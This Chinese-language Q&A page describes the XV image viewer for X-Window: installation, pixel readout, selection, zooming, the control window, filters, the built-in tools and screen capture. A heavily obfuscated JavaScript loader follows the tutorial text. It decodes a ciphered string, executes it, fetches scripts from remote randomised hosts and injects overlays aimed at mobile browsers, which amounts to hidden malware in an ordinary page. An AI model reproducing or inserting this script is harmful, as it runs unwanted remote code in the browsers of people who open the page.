推荐回答(1个)
XV软件 xv是一个应用于X-Window系统的互动式图像处理程序。与大多数Linux应用程序不同,它是一个共享软件。这也许是Red Hat 6.0以后没有收录它的缘故(在Red Hat 5.1中仍可以找到它的踪迹)。 XV几乎支持所有已知的图像格式,包括GIF、JPEG、TIFF、XPM、 BMP、PCX及PM等。该程序可以多种风格将图像显示在屏幕的桌面上;抓取屏幕上的任何矩形区域,将之储存成各种格式的图像文件;强制拉伸、压缩、旋转或者翻转图像;剪切图像;以ASCⅡ文本格式或者16进制数据方式观察文件;放大图像的任意部分;确定图像的像素值和x、y坐标位置;调整图像的明暗度、对比度、饱和度、色调、均衡等;减少图像的颜色;转换图像格式等。 该程序的各个版本可以在 http://www.trilon.com/xv中下载,适用于Red Hat Linux的RPM文件xv-3.10a-13.i386.rpm的大小为1.03MB。XV的安装亦相当简单。进入X-Window后,启动RPM安装工具,在文件管理器中找到该安装文件之后,直接安装即可。安装完成,在Terminal中键入“xv”命令就可以启动程序;或者可以在“大脚板 ”->“AnotherLevel menus”->“Graphics”中找到启动XV的快捷方式。 [编辑本段]图像视窗 启动XV以后,首先会在图像视窗中显示一幅默认的漂亮的XV的Logo,上面有简短的版权信息、版本号、程序的发布日期等等(如图1)。如果你改变该显示图像的视窗大小(不管使用什么方法),图像将会自动调整大小,以适应改变后的视窗。 1.显示像素的值 在图像视窗中,点击(或者随意地拖动)鼠标中间的按键(如果你的鼠标没有中间的按键,但是在安装系统时选择模拟三键鼠标,可以尝试使用双击代替该项操作),将会在视窗的顶端或者底部,以下列格式显示指定像素的相关信息: 196, 137 = 191,121,209 #bf79d1 (287 42 81 HSV) [ 0, 0] 其中,第一对数据(196,137)是以坐标表示的图像中相对的x和y位置,该数值并不会因为图像的调整显示比例而有所不同。所以,为了精确指定图像中的某一点,可以尝试先放大图像,再进行选择。对于一幅320×200大小的图像来说,其左上角的坐标就是(0,0),而右下角的坐标则是(320,200)。 接下来的三个数值(191,121,209),是指定像素的RGB值,数据的取值范围从0至255。 后面跟着的以“#”字符开头的六位字串,代表的是以十六进制表示的指定像素的RGB值,格式为“#rrggbb”。这对于以同样格式表示颜色的其它X程序或者会有用。 随后的三个数值(287,42,81),是指定像素的HSV值,第一个值的取值范围是0至359,后面两个数的取值范围是0至100。 最后一组数据,表示的是拖动鼠标从起点到鼠标当前的位置两点之间的距离(dx,dy)。需要指出的是,当按住鼠标中键在视窗中拖动的时候,所有的数值都会即时因应这一变化。 当测量像素的值时,这一串数据将会自动地复制到X服务器的缓冲区域,可以很容易的将这些信息传送到其它程序中。可以尝试一下在取得它们以后,在xterm视窗中点击鼠标中间的按键。同时,鼠标在最后的位置所取得的颜色,将会作为“当前颜色”对XV的其它有关操作产生影响,默认的当前颜色是黑色。 2.选择矩形区域 在进行剪切、粘贴等操作时,首先要选定图像中的某个区域。在XV的图像视窗中做出选择是一件很容易的事情。 在图像视窗中按住鼠标左键,拖动鼠标就可以选择一个矩形区域。如果不满意刚才选择的矩形,只需简单点按鼠标左键,重新画出一个矩形就是了。要是希望选择框完全消失,可以在选择框外点击一下鼠标左键。 在图像上双击鼠标,将会把当前显示的图像大小框选出来;再次双击就会取消选择。 当画出一个矩形框以后,点按其边缘上的把手并拖动鼠标,可以对矩形框进行适当的调整。拖放的时候按住Shift键,将会使得选择的区域保持正方形。 在选定的矩形区域中,点按左键并拖动鼠标,可以移动选择框。此时按住Shift键,将会使得移动仅限于垂直和水平方向。 在XV的信息视窗中,可以精确地定义矩形框的大小和位置。 3.缩放操作 XV可以成倍地放大图像中任意的矩形区域。按住Ctrl键,此时鼠标的指针看起来像是戴上了眼镜似的,在图像上点按鼠标左键,会出现一个以指针为中心的矩形区域,移动鼠标选择适当的位置松开鼠标按钮,该矩形区域将会被放大显示,图像视窗的大小则保持原状。重复上面同样的操作,可以将图像的某部分不断放大。 在按住Ctrl键的时候,点按鼠标的右键,将可以对图像进行缩小显示。当整幅图像已经和图像视窗的大小相同时,就不能再缩小了。 4.编辑像素和画线 在图像视窗中可以修改像素的颜色。“落笔”之前首先要选择使用的颜色,这可以用鼠标中间的按键在图像中取得。 要想改变单个像素的颜色,先按住Shift键,然后在相应像素上点按鼠标中间的按键,颜色就会变成事先选定的颜色。如果此时在图像上拖动鼠标,就会在图像上留下涂划的痕迹,所以操作时要小心。 在画点的时候按住Ctrl键,可以帮助你在两次点击之间画上一条直线。 XV的
控制中心 在XV的控制视窗中,可以调整当前图像的大小、翻转和旋转图像、载入和保存不同的文件,以及打开其它的XV视窗。在图像视窗中点击鼠标右键,或者在任何打开的XV视窗里按下“?”键,就可以切换XV控制视窗的打开和关闭。 在控制视窗底部的工具栏上有几个图像处理相关按钮,用以快速复制、剪切、粘贴或者填充选定的图像区域。 1.调整图像大小和显示选单 在Image Size和Display选单中可以找到所有调整图像的显示大小和显示方式的命令。调整前后并不会对图像进行任何修改,它改变的仅仅是图像的显示效果。 在选单列表的右边显示的单个字符是实现该命令的键盘快捷方式。它们可以在XV的图像视窗、控制视窗、信息视窗及颜色编辑视窗中使用。控制视窗中的所有键盘快捷方式都是如此。 在Image Size的选单项中,提供了各种颇具特色的显示功能,包括以正确的尺寸显示图像(Normal);保持图像的长宽比例,尽可能大地显示图像(Maxpect);以双倍大小(Double Size)或按50%的比例(Half Size)显示图像;指定大小或比例(Set Size)显示图像等。Display选单提供了包括平滑、标配、完美等多种颜色分配方案,以获得令人满意的图像显示效果。 在控制视窗底部的工具栏上,还有六个与调整图像显示方式相关的按键,分别提供了以10%的比例缩小(或放大)显示图像、顺(或逆)时针旋转90度后显示图像、水平(或垂直)翻转显示图像(或者是选定的图像区域)等功能。 2.桌面背景墙纸显示模式 当图像在XV的图像视窗中显示的时候,它也可以作为背景墙纸显示在桌面上。在root显示模式选单中,可以选择不同的显示效果,立即将当前图像铺陈在桌面上。 XV提供的桌面墙纸铺陈方式非常丰富,包括简单排列、精确排列、镜像排列、中心排列、对称排列及花纹环绕等。 3.丰富的图像处理功能 XV提供的24/8位选单可以改变或者强制当前操作的图像使用8位或者24位模式,在将24位图像转换至8位图像时,用户还可以在速度和质素中做出选择。 对打开的图像,或者是框定的图像部分,XV能够执行几个标准的图像处理算法。如果在图像上已经选择了一个矩形区域,则这些算法仅会影响已选定的面积,否则将对整个图像起作用。 在Algorithms选单中的选项会被立即执行,而且效果是会累积的。这些算法只会对24位图像起作用,如果当前使用的是8位图像,在执行这些算法的时候,程序将首先把图像转换至24位图像再执行算法,然后将结果转换回8位图像。 Algorithms提供的功能包括模糊(Blur)、尖锐(Sharpen)、浮雕(Emboss)、油污(Oil Painting)、旋转图像(Copy Rotate)、去污(DeSpeckle)等图像处理功能。 4.独具特色的附加工具 XV使用了独特的设计技术,以便它可以加入新的程序代码,不断扩充更多的命令和功能。我们不妨看一看Windows选单里包含的各项工具: Visual Schnauzer:打开一个可视化的图像文件管理视窗,在这个文件系统的图形化用户界面里,可以看到文件夹中的图像文件的缩略图、目录及其它文件。它可以创建目录、重命名文件、移动和复制文件到不同的目录中、删除文件、观看图像和文本文件 Color Editor:打开和关闭XV的颜色编辑视窗。它提供了一些有趣的颜色处理工具,包括颜色方案编辑器、色调控制、任意的RGB,以及一个伽玛修正曲线等 Image Info:打开和关闭XV的图像信息视窗。该视窗给出有关当前图像、当前选择区域、成功/失败的颜色分配代码等详细信息。 Image Comments:打开XV的图像注释视窗。这样可以察看包括在当前图像中的任何注释,但是不能加入或者编辑注释。需要指出的是,对于大多数图像来说并没有注释包含在它们的编码中。 Text View:打开XV的文本察看视窗。以ASCⅡ文本或者是十六进制编码,显示当前选择的文件内容。当XV试图装载一个它不支援的文件格式时,程序会自动打开该视窗。 About XV:显示XV的版本、版权、授权信息,以及作者的电子邮件地址等。 XV Keyboard Help:在文本察看视窗中,显示程序的所有鼠标和键盘操作方式及其作用。 5.Pad和文本注释命令 点按左下角的工具列按钮,将会打开XV的Pad视窗)。和Crop命令相反,它可以在图像的四周加上指定尺寸的边缘,无需手动放大或者剪切图像,就可以调整图像到你想要的大小。其功能远不止此,它还提供了一些很有趣的效果,因篇幅所限就不一一述及了。 Pad按钮旁边的“A”按钮,可以在图像中加上文字注释。首先在图像中选择一个矩形区域,点按该按键,在弹出对话盒中输入单行的字串,它们将会以适当的大小和当前选定的颜色出现在选定的区域中。你可以重新配置和调整矩形区域,使用Paste命令完成操作。 从电脑屏幕上抓图是XV程序的一个重要功能,它现在支持延迟抓图和延迟自动抓图。点按工具列右边的Grab按键将打开程序的抓图视窗。 在抓图视窗中点击Grab按键以后,只要用鼠标在要抓取的视窗中点按一下,就能够抓取整个视窗(包括框架)。如果在桌面上点按鼠标的话,抓取的就是整个屏幕了。 你可以抓取屏幕上的任何区域,只要点按鼠标中间的按键,并拖画出要抓取的矩形区域,松开鼠标按键以后,该区域就被抓取进XV里面了。在屏幕任何地方右击鼠标,可以取消抓图命令。 延迟抓图和正常的抓图方式相似,XV将在指定的时间(秒)过去以后,发出Beep一声响,表示开始抓图,然后你可以点按鼠标的左、中或者右键。想进行延迟抓图操作,只需要简单地输入一个非零的数字在“Delay”选项中,再点按Grab按键。 延迟自动抓图会在指定的时间过去以后,自动抓取鼠标指针所在位置的视窗。这对于抓取像下拉选单一类不能用正常方法抓取的图像特别有用。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();